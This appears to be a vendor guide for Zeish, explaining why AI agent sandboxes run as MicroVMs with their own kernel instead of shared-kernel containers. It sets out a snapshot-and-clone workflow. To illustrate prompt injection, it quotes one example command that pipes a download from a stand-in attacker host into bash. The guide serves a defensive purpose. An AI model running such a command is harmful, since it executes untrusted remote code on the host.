AI agents do not run like web apps. They install packages, exec shells, write files, and follow instructions from a model you do not fully control. If that work shares a kernel with your control plane, you do not have a sandbox. You have a container with extra steps.
Zeish runs each agent environment as an isolated machine. The isolation story is hardware, not a namespace. This guide explains why that distinction matters for agent sandboxing, and how to use it without standing up a Kubernetes cluster.
The container kernel problem
Docker, nerdctl, and most “secure sandbox” products built on runc still share the host kernel. Namespaces hide process trees. cgroups cap CPU and memory. seccomp and AppArmor shrink the syscall surface. None of those give the guest its own kernel.
That is acceptable for a trusted CI job that runs npm test. It is not acceptable for an agent that can be prompt-injected into curl http://evil.example | bash. Kernel CVEs become host CVEs. A breakout is not a theoretical research paper; it is the standard attack against multi-tenant container hosts.
OCI images are still useful. The image is the filesystem and the process list. The mistake is treating “we pulled an image” as “we isolated the workload.”
What an isolated machine changes
A MicroVM is a stripped-down virtual machine: a guest Linux kernel, a small device model, and a hardware boundary. Zeish schedules those machines. Which VMM boots them is not the product. Today that may be Firecracker or Cloud Hypervisor. Tomorrow it may be another VMM, including one we write.
Inside Zeish, each sandbox is one of those machines:
- Its own kernel, not a namespace on yours.
- Hardware-enforced memory and CPU boundaries via KVM.
- A virtual block device and net device, not a shared host filesystem by default.
- A guest agent (
sandboxd) for commands, files, and desktop actions.
The control plane never shares a kernel with agent code. Short-lived credentials reach the data plane only after the sandbox is running. That split is described in How Zeish works.
Why “gVisor or Kata” is a different product
gVisor intercepts syscalls in userspace. It reduces kernel exposure without a full VM, and it still lives in the container ecosystem. Compatibility gaps show up the first time an agent needs a real Linux syscall the sentry does not implement.
Kata Containers puts a VM under a Kubernetes pod. That is a legitimate hardware boundary. It is also a Kubernetes runtime class. You operate nodes, CNI, and a scheduler to clone a warmed agent environment. Most agent platforms do not want that operational surface. They want an API that says create, snapshot, clone, destroy. The Zeish vs E2B vs Daytona vs box comparison covers the product split.
The workflow that actually holds
A durable agent sandbox looks like this:
- Create a sandbox from an OCI template.
- Install tools, warm caches, load a dataset.
- Optionally snapshot the machine as a named checkpoint.
- Clone the baseline sandbox for every eval, retry, or parallel branch.
- Throw the clones away.
Docker can approximate steps 1 and 5. It cannot cheaply snapshot a running kernel and fork it. Zeish can: snapshots capture guest memory and disks, and clones are copy-on-write. Details are in git-like branching for VM states and the sandbox docs.
What to run inside the boundary
Put untrusted execution in the machine: shell, package installs, browser, code interpreters, MCP-driven tool use. Keep secrets, billing, and orchestration in the control plane. Grant data-plane access with short-lived credentials, not a long-lived SSH key on the host.
If the agent only needs to call your own HTTP APIs, you may not need a machine. If it needs a filesystem and a kernel, you do. That is the line between “function sandbox” and “isolated machine.”
Get a sandbox running
Install the SDK, set ZEISH_API_KEY, and create a sandbox against https://api.zei.sh/api/v1. The getting started guide walks through the first command. For pricing of snapshot-heavy evals, use the usage calculator.